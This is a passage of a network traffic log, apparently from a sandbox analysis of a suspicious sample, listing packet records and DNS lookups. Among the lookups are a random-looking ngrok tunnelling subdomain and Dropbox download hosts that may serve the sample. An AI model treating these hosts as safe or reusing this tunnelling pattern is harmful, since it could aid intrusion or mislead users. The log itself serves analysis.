Dec 19, 2024 13:45:26.326422930 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:55.852185011 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:55.852230072 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:55.852299929 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:55.852499008 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:55.852515936 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.272701979 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.273005962 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:57.273027897 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.274153948 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.274420023 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:57.274595022 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.274604082 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:57.274658918 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:57.274708033 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.966506004 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.966717005 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.966859102 CET	443	50061	162.125.69.18	192.168.2.7
Dec 19, 2024 13:45:57.966886044 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:57.966911077 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:57.967607021 CET	50061	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:45:57.967623949 CET	443	50061	162.125.69.18	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 13:44:16.979274988 CET	54499	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:17.120855093 CET	53	54499	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:18.057969093 CET	123	123	192.168.2.7	40.81.94.65
Dec 19, 2024 13:44:18.644345999 CET	123	123	40.81.94.65	192.168.2.7
Dec 19, 2024 13:44:20.671539068 CET	56367	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:20.808922052 CET	53	56367	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:23.355544090 CET	58768	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:23.663216114 CET	53	58768	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:30.844125986 CET	52682	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:30.844996929 CET	53858	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:30.912638903 CET	58181	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:30.988059998 CET	53	53858	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:30.988289118 CET	53	52682	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:31.205174923 CET	53	58181	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:33.267200947 CET	55082	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:33.267555952 CET	60715	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:34.027295113 CET	51913	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:34.027431965 CET	50048	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:34.504244089 CET	51348	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:34.504391909 CET	57910	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:34.641338110 CET	53	51348	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:34.642055988 CET	53	57910	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:35.732997894 CET	55073	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:35.733374119 CET	51766	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:35.734167099 CET	65526	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:35.734406948 CET	52094	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:35.870496035 CET	53	51766	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:35.870579958 CET	53	55073	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:35.871186972 CET	53	65526	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:35.876754999 CET	53	52094	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:36.024601936 CET	65292	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:36.024601936 CET	64115	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:36.161406040 CET	53	65292	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:36.161427021 CET	53	64115	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:37.897938013 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.201096058 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.813389063 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.000678062 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.000821114 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.001780033 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.001887083 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.001991987 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.002710104 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.003722906 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.010469913 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.127917051 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.321222067 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.321274996 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.321305037 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.321332932 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.321700096 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.321772099 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.324706078 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.637062073 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.682373047 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:40.591523886 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:40.591691971 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:40.906852961 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:40.909889936 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:40.910089016 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:40.910265923 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:42.178734064 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:42.178982019 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:42.579504967 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:42.579684019 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:42.656670094 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:42.656691074 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:42.656757116 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:42.659055948 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:42.895034075 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:42.896620989 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:42.896918058 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:42.897399902 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:43.347362041 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:43.347695112 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:43.665355921 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:43.666224003 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:43.667047977 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:43.672760963 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:44.254825115 CET	65170	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:44:44.551152945 CET	53	65170	1.1.1.1	192.168.2.7
Dec 19, 2024 13:44:48.335617065 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:48.335757017 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:48.651355028 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:48.651468039 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:48.651808977 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:48.651912928 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:49.041719913 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:56.230241060 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:56.230395079 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:56.547158957 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:56.550978899 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:56.575076103 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:56.578769922 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:02.969387054 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:02.970104933 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:02.971960068 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:03.277031898 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:03.284746885 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:03.286111116 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:03.286155939 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:03.288866997 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:03.886271954 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:04.152059078 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.152074099 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.152087927 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.152105093 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.153255939 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:04.154474974 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:04.156080008 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:04.200607061 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.475246906 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.475333929 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.475646973 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:04.475761890 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.475882053 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.475914955 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.475996971 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:04.790133953 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:04.821888924 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:06.448878050 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:06.449052095 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:06.764776945 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:06.766766071 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:06.767221928 CET	443	49662	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:06.767462015 CET	49662	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:11.493958950 CET	138	138	192.168.2.7	192.168.2.255
Dec 19, 2024 13:45:30.389693022 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:30.703793049 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:30.704575062 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:30.729187012 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:31.093329906 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:31.094470024 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:31.094496012 CET	443	59466	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:31.094893932 CET	59466	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:54.700491905 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:54.700644970 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:54.700989962 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:54.701097965 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:55.713592052 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:55.713686943 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:55.713936090 CET	52678	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:45:55.714061975 CET	62893	53	192.168.2.7	1.1.1.1
Dec 19, 2024 13:45:55.714153051 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:55.714193106 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:55.785701990 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:55.786222935 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:55.823014021 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:55.851599932 CET	53	52678	1.1.1.1	192.168.2.7
Dec 19, 2024 13:45:55.851619959 CET	53	62893	1.1.1.1	192.168.2.7
Dec 19, 2024 13:45:56.027802944 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:56.027892113 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:56.027925014 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:56.027955055 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:56.027988911 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:56.028131008 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:56.028193951 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:56.028232098 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:56.041821003 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:56.100608110 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:56.127094984 CET	58314	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:56.342238903 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:56.355703115 CET	443	58314	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:56.382117987 CET	58314	443	192.168.2.7	172.64.41.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 19, 2024 13:44:37.942687035 CET	192.168.2.7	1.1.1.1	c29e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 13:44:16.979274988 CET	192.168.2.7	1.1.1.1	0xea06	Standard query (0)	23glcrtmzxqgwfpq3oujitt.ngrok.pizza	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:20.671539068 CET	192.168.2.7	1.1.1.1	0x4bfb	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:23.355544090 CET	192.168.2.7	1.1.1.1	0xbd3f	Standard query (0)	ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:30.844125986 CET	192.168.2.7	1.1.1.1	0x3ed7	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:30.844996929 CET	192.168.2.7	1.1.1.1	0x42ce	Standard query (0)	www.dropbox.com	65	IN (0x0001)	false
Dec 19, 2024 13:44:30.912638903 CET	192.168.2.7	1.1.1.1	0x7a1a	Standard query (0)	uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:33.267200947 CET	192.168.2.7	1.1.1.1	0xdd	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:33.267555952 CET	192.168.2.7	1.1.1.1	0x6842	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 19, 2024 13:44:34.027295113 CET	192.168.2.7	1.1.1.1	0xebf1	Standard query (0)	cfl.dropboxstatic.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:34.027431965 CET	192.168.2.7	1.1.1.1	0x44a5	Standard query (0)	cfl.dropboxstatic.com	65	IN (0x0001)	false
Dec 19, 2024 13:44:34.504244089 CET	192.168.2.7	1.1.1.1	0xd263	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:34.504391909 CET	192.168.2.7	1.1.1.1	0xc451	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 19, 2024 13:44:35.732997894 CET	192.168.2.7	1.1.1.1	0x941e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:35.733374119 CET	192.168.2.7	1.1.1.1	0x797	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 19, 2024 13:44:35.734167099 CET	192.168.2.7	1.1.1.1	0xa364	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:35.734406948 CET	192.168.2.7	1.1.1.1	0xd43e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 19, 2024 13:44:36.024601936 CET	192.168.2.7	1.1.1.1	0x762f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:36.024601936 CET	192.168.2.7	1.1.1.1	0x3c2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 19, 2024 13:44:44.254825115 CET	192.168.2.7	1.1.1.1	0x6548	Standard query (0)	uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:55.713936090 CET	192.168.2.7	1.1.1.1	0x823d	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:55.714061975 CET	192.168.2.7	1.1.1.1	0x2f41	Standard query (0)	www.dropbox.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 13:44:17.120855093 CET	1.1.1.1	192.168.2.7	0xea06	No error (0)	23glcrtmzxqgwfpq3oujitt.ngrok.pizza		3.125.102.39	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:17.120855093 CET	1.1.1.1	192.168.2.7	0xea06	No error (0)	23glcrtmzxqgwfpq3oujitt.ngrok.pizza		3.125.209.94	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:17.120855093 CET	1.1.1.1	192.168.2.7	0xea06	No error (0)	23glcrtmzxqgwfpq3oujitt.ngrok.pizza		3.125.223.134	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:17.120855093 CET	1.1.1.1	192.168.2.7	0xea06	No error (0)	23glcrtmzxqgwfpq3oujitt.ngrok.pizza		18.158.249.75	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:17.120855093 CET	1.1.1.1	192.168.2.7	0xea06	No error (0)	23glcrtmzxqgwfpq3oujitt.ngrok.pizza		18.192.31.165	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:17.120855093 CET	1.1.1.1	192.168.2.7	0xea06	No error (0)	23glcrtmzxqgwfpq3oujitt.ngrok.pizza		3.124.142.205	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:20.808922052 CET	1.1.1.1	192.168.2.7	0x4bfb	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:20.808922052 CET	1.1.1.1	192.168.2.7	0x4bfb	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:23.663216114 CET	1.1.1.1	192.168.2.7	0xbd3f	No error (0)	ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:23.663216114 CET	1.1.1.1	192.168.2.7	0xbd3f	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:30.988059998 CET	1.1.1.1	192.168.2.7	0x42ce	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:30.988289118 CET	1.1.1.1	192.168.2.7	0x3ed7	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:30.988289118 CET	1.1.1.1	192.168.2.7	0x3ed7	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:31.015789032 CET	1.1.1.1	192.168.2.7	0x5c37	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:31.017097950 CET	1.1.1.1	192.168.2.7	0xd6fd	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:31.017097950 CET	1.1.1.1	192.168.2.7	0xd6fd	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:31.182198048 CET	1.1.1.1	192.168.2.7	0x849a	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:31.205174923 CET	1.1.1.1	192.168.2.7	0x7a1a	No error (0)	uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:31.205174923 CET	1.1.1.1	192.168.2.7	0x7a1a	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:33.404783010 CET	1.1.1.1	192.168.2.7	0x6842	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:33.405519009 CET	1.1.1.1	192.168.2.7	0xdd	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:34.238995075 CET	1.1.1.1	192.168.2.7	0x44a5	No error (0)	cfl.dropboxstatic.com	cfl.dropboxstatic.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:34.249795914 CET	1.1.1.1	192.168.2.7	0xebf1	No error (0)	cfl.dropboxstatic.com	cfl.dropboxstatic.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:34.641338110 CET	1.1.1.1	192.168.2.7	0xd263	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:34.641338110 CET	1.1.1.1	192.168.2.7	0xd263	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:34.642055988 CET	1.1.1.1	192.168.2.7	0xc451	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:35.870496035 CET	1.1.1.1	192.168.2.7	0x797	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 19, 2024 13:44:35.870579958 CET	1.1.1.1	192.168.2.7	0x941e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:35.870579958 CET	1.1.1.1	192.168.2.7	0x941e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:35.871186972 CET	1.1.1.1	192.168.2.7	0xa364	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:35.871186972 CET	1.1.1.1	192.168.2.7	0xa364	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:35.876754999 CET	1.1.1.1	192.168.2.7	0xd43e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 19, 2024 13:44:36.161406040 CET	1.1.1.1	192.168.2.7	0x762f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:36.161406040 CET	1.1.1.1	192.168.2.7	0x762f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:36.161427021 CET	1.1.1.1	192.168.2.7	0x3c2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 19, 2024 13:44:37.942604065 CET	1.1.1.1	192.168.2.7	0xa67d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:37.942604065 CET	1.1.1.1	192.168.2.7	0xa67d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:39.058034897 CET	1.1.1.1	192.168.2.7	0x1aa2	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:39.058034897 CET	1.1.1.1	192.168.2.7	0x1aa2	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:44:44.551152945 CET	1.1.1.1	192.168.2.7	0x6548	No error (0)	uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:44:44.551152945 CET	1.1.1.1	192.168.2.7	0x6548	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:33.476217031 CET	1.1.1.1	192.168.2.7	0x44ba	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:33.476217031 CET	1.1.1.1	192.168.2.7	0x44ba	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:34.476988077 CET	1.1.1.1	192.168.2.7	0x44ba	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:34.476988077 CET	1.1.1.1	192.168.2.7	0x44ba	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:35.487150908 CET	1.1.1.1	192.168.2.7	0x44ba	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:35.487150908 CET	1.1.1.1	192.168.2.7	0x44ba	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
